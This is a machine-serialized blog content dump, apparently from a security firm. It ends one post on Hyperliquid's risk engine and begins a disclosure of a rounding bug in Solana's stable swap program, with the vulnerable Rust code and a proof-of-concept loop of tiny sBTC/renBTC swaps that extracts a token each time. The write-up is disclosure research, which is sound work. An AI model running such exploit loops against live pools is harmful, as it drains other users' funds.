here:",{"type":25,"tag":524,"props":6663,"children":6666},{"path":6664,"name":87,"size":6665},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":25,"tag":607,"props":6668,"children":6670},{"id":6669},"closing-words",[6671],{"type":31,"value":6672},"Closing Words",{"type":25,"tag":38,"props":6674,"children":6675},{},[6676],{"type":31,"value":6677},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":25,"tag":38,"props":6679,"children":6680},{},[6681,6683,6688],{"type":31,"value":6682},"Flagship models got us 60% of the way there, but a lot of ",{"type":25,"tag":64,"props":6684,"children":6685},{},[6686],{"type":31,"value":6687},"manual",{"type":31,"value":6689}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":25,"tag":38,"props":6691,"children":6692},{},[6693],{"type":31,"value":6694},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":25,"tag":38,"props":6696,"children":6697},{},[6698],{"type":31,"value":6699},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":25,"tag":6701,"props":6702,"children":6703},"report-footnotes",{},[6704],{"type":25,"tag":6705,"props":6706,"children":6707},"ol",{},[6708,6713,6740,6745,6750],{"type":25,"tag":2037,"props":6709,"children":6710},{},[6711],{"type":31,"value":6712},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":25,"tag":2037,"props":6714,"children":6715},{},[6716,6722,6724,6730,6732,6738],{"type":25,"tag":82,"props":6717,"children":6719},{"className":6718},[],[6720],{"type":31,"value":6721},"compute_user_margin_and_shortfall",{"type":31,"value":6723}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":25,"tag":82,"props":6725,"children":6727},{"className":6726},[],[6728],{"type":31,"value":6729},"0x748",{"type":31,"value":6731}," in the abstract expressions of ",{"type":25,"tag":82,"props":6733,"children":6735},{"className":6734},[],[6736],{"type":31,"value":6737},"btree_cursor",{"type":31,"value":6739},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":25,"tag":2037,"props":6741,"children":6742},{},[6743],{"type":31,"value":6744},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":25,"tag":2037,"props":6746,"children":6747},{},[6748],{"type":31,"value":6749},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":25,"tag":2037,"props":6751,"children":6752},{},[6753,6755,6761],{"type":31,"value":6754},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":25,"tag":82,"props":6756,"children":6758},{"className":6757},[],[6759],{"type":31,"value":6760},"s3://hl-mainnet-node-data/explorer_blocks",{"type":31,"value":179},{"title":7,"searchDepth":6763,"depth":6763,"links":6764},2,[6765,6766,6767,6768,6769,6773,6774,6775,6778,6779,6782,6786],{"id":28,"depth":6763,"text":32},{"id":18,"depth":6763,"text":52},{"id":111,"depth":6763,"text":114},{"id":431,"depth":6763,"text":434},{"id":466,"depth":6763,"text":469,"children":6770},[6771],{"id":609,"depth":6772,"text":612},3,{"id":1386,"depth":6763,"text":1389},{"id":1483,"depth":6763,"text":1486},{"id":1703,"depth":6763,"text":1706,"children":6776},[6777],{"id":1955,"depth":6772,"text":1958},{"id":2015,"depth":6763,"text":2018},{"id":6448,"depth":6763,"text":6451,"children":6780},[6781],{"id":6481,"depth":6772,"text":6484},{"id":6541,"depth":6763,"text":6544,"children":6783},[6784,6785],{"id":6547,"depth":6772,"text":6550},{"id":6566,"depth":6772,"text":2054},{"id":6596,"depth":6763,"text":6599,"children":6787},[6788,6789,6790,6791],{"id":6607,"depth":6772,"text":6610},{"id":6629,"depth":6772,"text":6632},{"id":6645,"depth":6772,"text":6648},{"id":6669,"depth":6772,"text":6672},"markdown","content:blog:2026-06-22-hyperliquid-risk-engine.md","content","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine","md",[6799,9324,9660,13209,17566,22699,32956,34388,35151,39378,44405,49836,50993,54483,64875,71604,73443,75153,79818,93716,96437,101213,103653,105998,111784,127578,135878,145801,151077,160470,162807],{"_path":6800,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":6801,"description":6802,"image":6803,"date":6807,"isFeatured":16,"tags":6808,"onBlogPage":16,"body":6811,"_type":6792,"_id":9321,"_source":6794,"_file":9322,"_stem":9323,"_extension":6797},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":6804,"width":6805,"height":6806},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[6809,6810],"solana","report",{"type":22,"children":6812,"toc":9315},[6813,6827,6832,6837,6845,6851,6856,6861,6869,6877,6882,6887,6895,6900,6905,7306,7316,7321,7869,7874,7882,7889,7895,7900,7905,7910,7917,7929,7934,7946,8155,8160,8165,8171,8176,8181,8228,8233,8241,8246,8251,8256,8400,8413,8528,8542,8550,8564,8572,8585,8590,8602,8610,8632,9250,9256,9261,9274,9287,9294,9299,9304,9309],{"type":25,"tag":38,"props":6814,"children":6815},{},[6816,6818,6825],{"type":31,"value":6817},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":25,"tag":162,"props":6819,"children":6822},{"href":6820,"rel":6821},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[166],[6823],{"type":31,"value":6824},"spl-token-swap",{"type":31,"value":6826},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":25,"tag":38,"props":6828,"children":6829},{},[6830],{"type":31,"value":6831},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":25,"tag":38,"props":6833,"children":6834},{},[6835],{"type":31,"value":6836},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":25,"tag":38,"props":6838,"children":6839},{},[6840],{"type":25,"tag":64,"props":6841,"children":6842},{},[6843],{"type":31,"value":6844},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":25,"tag":26,"props":6846,"children":6848},{"id":6847},"discovery",[6849],{"type":31,"value":6850},"Discovery",{"type":25,"tag":38,"props":6852,"children":6853},{},[6854],{"type":31,"value":6855},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":25,"tag":38,"props":6857,"children":6858},{},[6859],{"type":31,"value":6860},"After a while, he noticed something weird..",{"type":25,"tag":34,"props":6862,"children":6863},{},[6864],{"type":25,"tag":38,"props":6865,"children":6866},{},[6867],{"type":31,"value":6868},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":25,"tag":206,"props":6870,"children":6872},{"code":6871},"KwnjUuZ :              0 9vMJfxu ->              1 EPjFWdd\nKwnjUuZ :              1 EPjFWdd ->              2 9vMJfxu\nKwnjUuZ :              2 9vMJfxu ->              3 EPjFWdd\nHU1tejU :              3 EPjFWdd ->            625 PRT88Rk\n24ZbKS3 :            625 PRT88Rk ->              7 EPjFWdd\n3oRPcFa :              7 EPjFWdd ->              6 BQcdHdA\n",[6873],{"type":25,"tag":82,"props":6874,"children":6875},{"__ignoreMap":7},[6876],{"type":31,"value":6871},{"type":25,"tag":38,"props":6878,"children":6879},{},[6880],{"type":31,"value":6881},"Somehow, we were getting tokens from nothing?",{"type":25,"tag":38,"props":6883,"children":6884},{},[6885],{"type":31,"value":6886},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":25,"tag":206,"props":6888,"children":6890},{"code":6889},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[6891],{"type":25,"tag":82,"props":6892,"children":6893},{"__ignoreMap":7},[6894],{"type":31,"value":6889},{"type":25,"tag":38,"props":6896,"children":6897},{},[6898],{"type":31,"value":6899},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":25,"tag":38,"props":6901,"children":6902},{},[6903],{"type":31,"value":6904},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":25,"tag":206,"props":6906,"children":6910},{"code":6907,"language":6908,"meta":7,"className":6909,"style":7},"    // Solve for y by approximating: y**2 + b*y = c\n    let mut y = d_val;\n    for _ in 0..ITERATIONS {\n        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n        if y_new == y {\n            break;\n        } else {\n            y = y_new;\n        }\n    }\n","rust","language-rust shiki shiki-themes slack-dark",[6911],{"type":25,"tag":82,"props":6912,"children":6913},{"__ignoreMap":7},[6914,6925,6962,6997,7102,7208,7236,7249,7267,7288,7297],{"type":25,"tag":216,"props":6915,"children":6918},{"class":6916,"line":6917},"line",1,[6919],{"type":25,"tag":216,"props":6920,"children":6922},{"style":6921},"--shiki-default:#6A9955",[6923],{"type":31,"value":6924},"    // Solve for y by approximating: y**2 + b*y = c\n",{"type":25,"tag":216,"props":6926,"children":6927},{"class":6916,"line":6763},[6928,6934,6939,6945,6951,6956],{"type":25,"tag":216,"props":6929,"children":6931},{"style":6930},"--shiki-default:#569CD6",[6932],{"type":31,"value":6933},"    let",{"type":25,"tag":216,"props":6935,"children":6936},{"style":6930},[6937],{"type":31,"value":6938}," mut",{"type":25,"tag":216,"props":6940,"children":6942},{"style":6941},"--shiki-default:#9CDCFE",[6943],{"type":31,"value":6944}," y",{"type":25,"tag":216,"props":6946,"children":6948},{"style":6947},"--shiki-default:#D4D4D4",[6949],{"type":31,"value":6950}," =",{"type":25,"tag":216,"props":6952,"children":6953},{"style":6941},[6954],{"type":31,"value":6955}," d_val",{"type":25,"tag":216,"props":6957,"children":6959},{"style":6958},"--shiki-default:#E6E6E6",[6960],{"type":31,"value":6961},";\n",{"type":25,"tag":216,"props":6963,"children":6964},{"class":6916,"line":6772},[6965,6971,6976,6981,6987,6992],{"type":25,"tag":216,"props":6966,"children":6968},{"style":6967},"--shiki-default:#C586C0",[6969],{"type":31,"value":6970},"    for",{"type":25,"tag":216,"props":6972,"children":6973},{"style":6941},[6974],{"type":31,"value":6975}," _",{"type":25,"tag":216,"props":6977,"children":6978},{"style":6930},[6979],{"type":31,"value":6980}," in",{"type":25,"tag":216,"props":6982,"children":6984},{"style":6983},"--shiki-default:#B5CEA8",[6985],{"type":31,"value":6986}," 0",{"type":25,"tag":216,"props":6988,"children":6989},{"style":6947},[6990],{"type":31,"value":6991},"..",{"type":25,"tag":216,"props":6993,"children":6994},{"style":6958},[6995],{"type":31,"value":6996},"ITERATIONS {\n",{"type":25,"tag":216,"props":6998,"children":7000},{"class":6916,"line":6999},4,[7001,7006,7011,7016,7021,7026,7031,7035,7039,7045,7049,7054,7059,7063,7067,7071,7076,7081,7085,7089,7093,7097],{"type":25,"tag":216,"props":7002,"children":7003},{"style":6930},[7004],{"type":31,"value":7005},"        let",{"type":25,"tag":216,"props":7007,"children":7008},{"style":6958},[7009],{"type":31,"value":7010}," (",{"type":25,"tag":216,"props":7012,"children":7013},{"style":6941},[7014],{"type":31,"value":7015},"y_new",{"type":25,"tag":216,"props":7017,"children":7018},{"style":6958},[7019],{"type":31,"value":7020},", ",{"type":25,"tag":216,"props":7022,"children":7023},{"style":6941},[7024],{"type":31,"value":7025},"_",{"type":25,"tag":216,"props":7027,"children":7028},{"style":6958},[7029],{"type":31,"value":7030},") ",{"type":25,"tag":216,"props":7032,"children":7033},{"style":6947},[7034],{"type":31,"value":266},{"type":25,"tag":216,"props":7036,"children":7037},{"style":6958},[7038],{"type":31,"value":7010},{"type":25,"tag":216,"props":7040,"children":7042},{"style":7041},"--shiki-default:#DCDCAA",[7043],{"type":31,"value":7044},"checked_u8_power",{"type":25,"tag":216,"props":7046,"children":7047},{"style":6958},[7048],{"type":31,"value":1844},{"type":25,"tag":216,"props":7050,"children":7051},{"style":6947},[7052],{"type":31,"value":7053},"&",{"type":25,"tag":216,"props":7055,"children":7056},{"style":6941},[7057],{"type":31,"value":7058},"y",{"type":25,"tag":216,"props":7060,"children":7061},{"style":6958},[7062],{"type":31,"value":7020},{"type":25,"tag":216,"props":7064,"children":7065},{"style":6983},[7066],{"type":31,"value":331},{"type":25,"tag":216,"props":7068,"children":7069},{"style":6958},[7070],{"type":31,"value":1882},{"type":25,"tag":216,"props":7072,"children":7073},{"style":6947},[7074],{"type":31,"value":7075},"?.",{"type":25,"tag":216,"props":7077,"children":7078},{"style":7041},[7079],{"type":31,"value":7080},"checked_add",{"type":25,"tag":216,"props":7082,"children":7083},{"style":6958},[7084],{"type":31,"value":1844},{"type":25,"tag":216,"props":7086,"children":7087},{"style":6941},[7088],{"type":31,"value":2248},{"type":25,"tag":216,"props":7090,"children":7091},{"style":6958},[7092],{"type":31,"value":1882},{"type":25,"tag":216,"props":7094,"children":7095},{"style":6947},[7096],{"type":31,"value":605},{"type":25,"tag":216,"props":7098,"children":7099},{"style":6958},[7100],{"type":31,"value":7101},")\n",{"type":25,"tag":216,"props":7103,"children":7105},{"class":6916,"line":7104},5,[7106,7111,7116,7120,7125,7129,7133,7137,7141,7145,7149,7153,7157,7161,7166,7170,7174,7179,7183,7188,7192,7196,7200,7204],{"type":25,"tag":216,"props":7107,"children":7108},{"style":6947},[7109],{"type":31,"value":7110},"            .",{"type":25,"tag":216,"props":7112,"children":7113},{"style":7041},[7114],{"type":31,"value":7115},"checked_ceil_div",{"type":25,"tag":216,"props":7117,"children":7118},{"style":6958},[7119],{"type":31,"value":1844},{"type":25,"tag":216,"props":7121,"children":7122},{"style":7041},[7123],{"type":31,"value":7124},"checked_u8_mul",{"type":25,"tag":216,"props":7126,"children":7127},{"style":6958},[7128],{"type":31,"value":1844},{"type":25,"tag":216,"props":7130,"children":7131},{"style":6947},[7132],{"type":31,"value":7053},{"type":25,"tag":216,"props":7134,"children":7135},{"style":6941},[7136],{"type":31,"value":7058},{"type":25,"tag":216,"props":7138,"children":7139},{"style":6958},[7140],{"type":31,"value":7020},{"type":25,"tag":216,"props":7142,"children":7143},{"style":6983},[7144],{"type":31,"value":331},{"type":25,"tag":216,"props":7146,"children":7147},{"style":6958},[7148],{"type":31,"value":1882},{"type":25,"tag":216,"props":7150,"children":7151},{"style":6947},[7152],{"type":31,"value":7075},{"type":25,"tag":216,"props":7154,"children":7155},{"style":7041},[7156],{"type":31,"value":7080},{"type":25,"tag":216,"props":7158,"children":7159},{"style":6958},[7160],{"type":31,"value":1844},{"type":25,"tag":216,"props":7162,"children":7163},{"style":6941},[7164],{"type":31,"value":7165},"b",{"type":25,"tag":216,"props":7167,"children":7168},{"style":6958},[7169],{"type":31,"value":1882},{"type":25,"tag":216,"props":7171,"children":7172},{"style":6947},[7173],{"type":31,"value":7075},{"type":25,"tag":216,"props":7175,"children":7176},{"style":7041},[7177],{"type":31,"value":7178},"checked_sub",{"type":25,"tag":216,"props":7180,"children":7181},{"style":6958},[7182],{"type":31,"value":1844},{"type":25,"tag":216,"props":7184,"children":7185},{"style":6941},[7186],{"type":31,"value":7187},"d_val",{"type":25,"tag":216,"props":7189,"children":7190},{"style":6958},[7191],{"type":31,"value":1882},{"type":25,"tag":216,"props":7193,"children":7194},{"style":6947},[7195],{"type":31,"value":605},{"type":25,"tag":216,"props":7197,"children":7198},{"style":6958},[7199],{"type":31,"value":1882},{"type":25,"tag":216,"props":7201,"children":7202},{"style":6947},[7203],{"type":31,"value":605},{"type":25,"tag":216,"props":7205,"children":7206},{"style":6958},[7207],{"type":31,"value":6961},{"type":25,"tag":216,"props":7209,"children":7211},{"class":6916,"line":7210},6,[7212,7217,7222,7227,7231],{"type":25,"tag":216,"props":7213,"children":7214},{"style":6967},[7215],{"type":31,"value":7216},"        if",{"type":25,"tag":216,"props":7218,"children":7219},{"style":6941},[7220],{"type":31,"value":7221}," y_new",{"type":25,"tag":216,"props":7223,"children":7224},{"style":6947},[7225],{"type":31,"value":7226}," ==",{"type":25,"tag":216,"props":7228,"children":7229},{"style":6941},[7230],{"type":31,"value":6944},{"type":25,"tag":216,"props":7232,"children":7233},{"style":6958},[7234],{"type":31,"value":7235}," {\n",{"type":25,"tag":216,"props":7237,"children":7239},{"class":6916,"line":7238},7,[7240,7245],{"type":25,"tag":216,"props":7241,"children":7242},{"style":6967},[7243],{"type":31,"value":7244},"            break",{"type":25,"tag":216,"props":7246,"children":7247},{"style":6958},[7248],{"type":31,"value":6961},{"type":25,"tag":216,"props":7250,"children":7252},{"class":6916,"line":7251},8,[7253,7258,7263],{"type":25,"tag":216,"props":7254,"children":7255},{"style":6958},[7256],{"type":31,"value":7257},"        } ",{"type":25,"tag":216,"props":7259,"children":7260},{"style":6967},[7261],{"type":31,"value":7262},"else",{"type":25,"tag":216,"props":7264,"children":7265},{"style":6958},[7266],{"type":31,"value":7235},{"type":25,"tag":216,"props":7268,"children":7270},{"class":6916,"line":7269},9,[7271,7276,7280,7284],{"type":25,"tag":216,"props":7272,"children":7273},{"style":6941},[7274],{"type":31,"value":7275},"            y",{"type":25,"tag":216,"props":7277,"children":7278},{"style":6947},[7279],{"type":31,"value":6950},{"type":25,"tag":216,"props":7281,"children":7282},{"style":6941},[7283],{"type":31,"value":7221},{"type":25,"tag":216,"props":7285,"children":7286},{"style":6958},[7287],{"type":31,"value":6961},{"type":25,"tag":216,"props":7289,"children":7291},{"class":6916,"line":7290},10,[7292],{"type":25,"tag":216,"props":7293,"children":7294},{"style":6958},[7295],{"type":31,"value":7296},"        }\n",{"type":25,"tag":216,"props":7298,"children":7300},{"class":6916,"line":7299},11,[7301],{"type":25,"tag":216,"props":7302,"children":7303},{"style":6958},[7304],{"type":31,"value":7305},"    }\n",{"type":25,"tag":38,"props":7307,"children":7308},{},[7309,7314],{"type":25,"tag":64,"props":7310,"children":7311},{},[7312],{"type":31,"value":7313},"approximate",{"type":31,"value":7315},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":25,"tag":38,"props":7317,"children":7318},{},[7319],{"type":31,"value":7320},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":25,"tag":206,"props":7322,"children":7324},{"code":7323,"language":6908,"meta":7,"className":6909,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n    // create swap transaction\n    let mut swap_instruction = swap(\n        &spl_token::id(),\n        &swap_pubkey,\n        &swap_authority_pubkey,\n        &test_account_signer.pubkey(),\n        &sbtc_user_account,\n        &sbtc_reserve,\n        &renbtc_reserve,\n        &renbtc_user_account,\n        &admin_fee_account_sbtc_to_ren,\n        1,\n        2\n    ).unwrap();\n\n    // nonce\n    swap_instruction.data.append(&mut vec![i, extranonce]);\n\n    let mut instructions = vec![];\n\n    instructions.push(swap_instruction);\n\n    env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[7325],{"type":25,"tag":82,"props":7326,"children":7327},{"__ignoreMap":7},[7328,7336,7377,7385,7415,7443,7460,7476,7501,7517,7533,7549,7566,7583,7596,7605,7628,7637,7646,7714,7722,7752,7760,7792,7800,7860],{"type":25,"tag":216,"props":7329,"children":7330},{"class":6916,"line":6917},[7331],{"type":25,"tag":216,"props":7332,"children":7333},{"style":6921},[7334],{"type":31,"value":7335},"// from sbtc to renbtc\n",{"type":25,"tag":216,"props":7337,"children":7338},{"class":6916,"line":6763},[7339,7344,7349,7353,7357,7362,7367,7373],{"type":25,"tag":216,"props":7340,"children":7341},{"style":6967},[7342],{"type":31,"value":7343},"for",{"type":25,"tag":216,"props":7345,"children":7346},{"style":6941},[7347],{"type":31,"value":7348}," i",{"type":25,"tag":216,"props":7350,"children":7351},{"style":6930},[7352],{"type":31,"value":6980},{"type":25,"tag":216,"props":7354,"children":7355},{"style":6983},[7356],{"type":31,"value":6986},{"type":25,"tag":216,"props":7358,"children":7359},{"style":6947},[7360],{"type":31,"value":7361}," ..",{"type":25,"tag":216,"props":7363,"children":7364},{"style":6983},[7365],{"type":31,"value":7366}," 50",{"type":25,"tag":216,"props":7368,"children":7370},{"style":7369},"--shiki-default:#4EC9B0",[7371],{"type":31,"value":7372},"u8",{"type":25,"tag":216,"props":7374,"children":7375},{"style":6958},[7376],{"type":31,"value":7235},{"type":25,"tag":216,"props":7378,"children":7379},{"class":6916,"line":6772},[7380],{"type":25,"tag":216,"props":7381,"children":7382},{"style":6921},[7383],{"type":31,"value":7384},"    // create swap transaction\n",{"type":25,"tag":216,"props":7386,"children":7387},{"class":6916,"line":6999},[7388,7392,7396,7401,7405,7410],{"type":25,"tag":216,"props":7389,"children":7390},{"style":6930},[7391],{"type":31,"value":6933},{"type":25,"tag":216,"props":7393,"children":7394},{"style":6930},[7395],{"type":31,"value":6938},{"type":25,"tag":216,"props":7397,"children":7398},{"style":6941},[7399],{"type":31,"value":7400}," swap_instruction",{"type":25,"tag":216,"props":7402,"children":7403},{"style":6947},[7404],{"type":31,"value":6950},{"type":25,"tag":216,"props":7406,"children":7407},{"style":7041},[7408],{"type":31,"value":7409}," swap",{"type":25,"tag":216,"props":7411,"children":7412},{"style":6958},[7413],{"type":31,"value":7414},"(\n",{"type":25,"tag":216,"props":7416,"children":7417},{"class":6916,"line":7104},[7418,7423,7428,7433,7438],{"type":25,"tag":216,"props":7419,"children":7420},{"style":6947},[7421],{"type":31,"value":7422},"        &",{"type":25,"tag":216,"props":7424,"children":7425},{"style":6958},[7426],{"type":31,"value":7427},"spl_token",{"type":25,"tag":216,"props":7429,"children":7430},{"style":6947},[7431],{"type":31,"value":7432},"::",{"type":25,"tag":216,"props":7434,"children":7435},{"style":7041},[7436],{"type":31,"value":7437},"id",{"type":25,"tag":216,"props":7439,"children":7440},{"style":6958},[7441],{"type":31,"value":7442},"(),\n",{"type":25,"tag":216,"props":7444,"children":7445},{"class":6916,"line":7210},[7446,7450,7455],{"type":25,"tag":216,"props":7447,"children":7448},{"style":6947},[7449],{"type":31,"value":7422},{"type":25,"tag":216,"props":7451,"children":7452},{"style":6941},[7453],{"type":31,"value":7454},"swap_pubkey",{"type":25,"tag":216,"props":7456,"children":7457},{"style":6958},[7458],{"type":31,"value":7459},",\n",{"type":25,"tag":216,"props":7461,"children":7462},{"class":6916,"line":7238},[7463,7467,7472],{"type":25,"tag":216,"props":7464,"children":7465},{"style":6947},[7466],{"type":31,"value":7422},{"type":25,"tag":216,"props":7468,"children":7469},{"style":6941},[7470],{"type":31,"value":7471},"swap_authority_pubkey",{"type":25,"tag":216,"props":7473,"children":7474},{"style":6958},[7475],{"type":31,"value":7459},{"type":25,"tag":216,"props":7477,"children":7478},{"class":6916,"line":7251},[7479,7483,7488,7492,7497],{"type":25,"tag":216,"props":7480,"children":7481},{"style":6947},[7482],{"type":31,"value":7422},{"type":25,"tag":216,"props":7484,"children":7485},{"style":6941},[7486],{"type":31,"value":7487},"test_account_signer",{"type":25,"tag":216,"props":7489,"children":7490},{"style":6947},[7491],{"type":31,"value":179},{"type":25,"tag":216,"props":7493,"children":7494},{"style":7041},[7495],{"type":31,"value":7496},"pubkey",{"type":25,"tag":216,"props":7498,"children":7499},{"style":6958},[7500],{"type":31,"value":7442},{"type":25,"tag":216,"props":7502,"children":7503},{"class":6916,"line":7269},[7504,7508,7513],{"type":25,"tag":216,"props":7505,"children":7506},{"style":6947},[7507],{"type":31,"value":7422},{"type":25,"tag":216,"props":7509,"children":7510},{"style":6941},[7511],{"type":31,"value":7512},"sbtc_user_account",{"type":25,"tag":216,"props":7514,"children":7515},{"style":6958},[7516],{"type":31,"value":7459},{"type":25,"tag":216,"props":7518,"children":7519},{"class":6916,"line":7290},[7520,7524,7529],{"type":25,"tag":216,"props":7521,"children":7522},{"style":6947},[7523],{"type":31,"value":7422},{"type":25,"tag":216,"props":7525,"children":7526},{"style":6941},[7527],{"type":31,"value":7528},"sbtc_reserve",{"type":25,"tag":216,"props":7530,"children":7531},{"style":6958},[7532],{"type":31,"value":7459},{"type":25,"tag":216,"props":7534,"children":7535},{"class":6916,"line":7299},[7536,7540,7545],{"type":25,"tag":216,"props":7537,"children":7538},{"style":6947},[7539],{"type":31,"value":7422},{"type":25,"tag":216,"props":7541,"children":7542},{"style":6941},[7543],{"type":31,"value":7544},"renbtc_reserve",{"type":25,"tag":216,"props":7546,"children":7547},{"style":6958},[7548],{"type":31,"value":7459},{"type":25,"tag":216,"props":7550,"children":7552},{"class":6916,"line":7551},12,[7553,7557,7562],{"type":25,"tag":216,"props":7554,"children":7555},{"style":6947},[7556],{"type":31,"value":7422},{"type":25,"tag":216,"props":7558,"children":7559},{"style":6941},[7560],{"type":31,"value":7561},"renbtc_user_account",{"type":25,"tag":216,"props":7563,"children":7564},{"style":6958},[7565],{"type":31,"value":7459},{"type":25,"tag":216,"props":7567,"children":7569},{"class":6916,"line":7568},13,[7570,7574,7579],{"type":25,"tag":216,"props":7571,"children":7572},{"style":6947},[7573],{"type":31,"value":7422},{"type":25,"tag":216,"props":7575,"children":7576},{"style":6941},[7577],{"type":31,"value":7578},"admin_fee_account_sbtc_to_ren",{"type":25,"tag":216,"props":7580,"children":7581},{"style":6958},[7582],{"type":31,"value":7459},{"type":25,"tag":216,"props":7584,"children":7586},{"class":6916,"line":7585},14,[7587,7592],{"type":25,"tag":216,"props":7588,"children":7589},{"style":6983},[7590],{"type":31,"value":7591},"        1",{"type":25,"tag":216,"props":7593,"children":7594},{"style":6958},[7595],{"type":31,"value":7459},{"type":25,"tag":216,"props":7597,"children":7599},{"class":6916,"line":7598},15,[7600],{"type":25,"tag":216,"props":7601,"children":7602},{"style":6983},[7603],{"type":31,"value":7604},"        2\n",{"type":25,"tag":216,"props":7606,"children":7608},{"class":6916,"line":7607},16,[7609,7614,7618,7623],{"type":25,"tag":216,"props":7610,"children":7611},{"style":6958},[7612],{"type":31,"value":7613},"    )",{"type":25,"tag":216,"props":7615,"children":7616},{"style":6947},[7617],{"type":31,"value":179},{"type":25,"tag":216,"props":7619,"children":7620},{"style":7041},[7621],{"type":31,"value":7622},"unwrap",{"type":25,"tag":216,"props":7624,"children":7625},{"style":6958},[7626],{"type":31,"value":7627},"();\n",{"type":25,"tag":216,"props":7629,"children":7631},{"class":6916,"line":7630},17,[7632],{"type":25,"tag":216,"props":7633,"children":7634},{"emptyLinePlaceholder":16},[7635],{"type":31,"value":7636},"\n",{"type":25,"tag":216,"props":7638,"children":7640},{"class":6916,"line":7639},18,[7641],{"type":25,"tag":216,"props":7642,"children":7643},{"style":6921},[7644],{"type":31,"value":7645},"    // nonce\n",{"type":25,"tag":216,"props":7647,"children":7649},{"class":6916,"line":7648},19,[7650,7655,7659,7664,7668,7673,7677,7681,7686,7691,7696,7700,7704,7709],{"type":25,"tag":216,"props":7651,"children":7652},{"style":6941},[7653],{"type":31,"value":7654},"    swap_instruction",{"type":25,"tag":216,"props":7656,"children":7657},{"style":6947},[7658],{"type":31,"value":179},{"type":25,"tag":216,"props":7660,"children":7661},{"style":6958},[7662],{"type":31,"value":7663},"data",{"type":25,"tag":216,"props":7665,"children":7666},{"style":6947},[7667],{"type":31,"value":179},{"type":25,"tag":216,"props":7669,"children":7670},{"style":7041},[7671],{"type":31,"value":7672},"append",{"type":25,"tag":216,"props":7674,"children":7675},{"style":6958},[7676],{"type":31,"value":1844},{"type":25,"tag":216,"props":7678,"children":7679},{"style":6947},[7680],{"type":31,"value":7053},{"type":25,"tag":216,"props":7682,"children":7683},{"style":6930},[7684],{"type":31,"value":7685},"mut",{"type":25,"tag":216,"props":7687,"children":7688},{"style":7041},[7689],{"type":31,"value":7690}," vec!",{"type":25,"tag":216,"props":7692,"children":7693},{"style":6958},[7694],{"type":31,"value":7695},"[",{"type":25,"tag":216,"props":7697,"children":7698},{"style":6941},[7699],{"type":31,"value":2283},{"type":25,"tag":216,"props":7701,"children":7702},{"style":6958},[7703],{"type":31,"value":7020},{"type":25,"tag":216,"props":7705,"children":7706},{"style":6941},[7707],{"type":31,"value":7708},"extranonce",{"type":25,"tag":216,"props":7710,"children":7711},{"style":6958},[7712],{"type":31,"value":7713},"]);\n",{"type":25,"tag":216,"props":7715,"children":7717},{"class":6916,"line":7716},20,[7718],{"type":25,"tag":216,"props":7719,"children":7720},{"emptyLinePlaceholder":16},[7721],{"type":31,"value":7636},{"type":25,"tag":216,"props":7723,"children":7725},{"class":6916,"line":7724},21,[7726,7730,7734,7739,7743,7747],{"type":25,"tag":216,"props":7727,"children":7728},{"style":6930},[7729],{"type":31,"value":6933},{"type":25,"tag":216,"props":7731,"children":7732},{"style":6930},[7733],{"type":31,"value":6938},{"type":25,"tag":216,"props":7735,"children":7736},{"style":6941},[7737],{"type":31,"value":7738}," 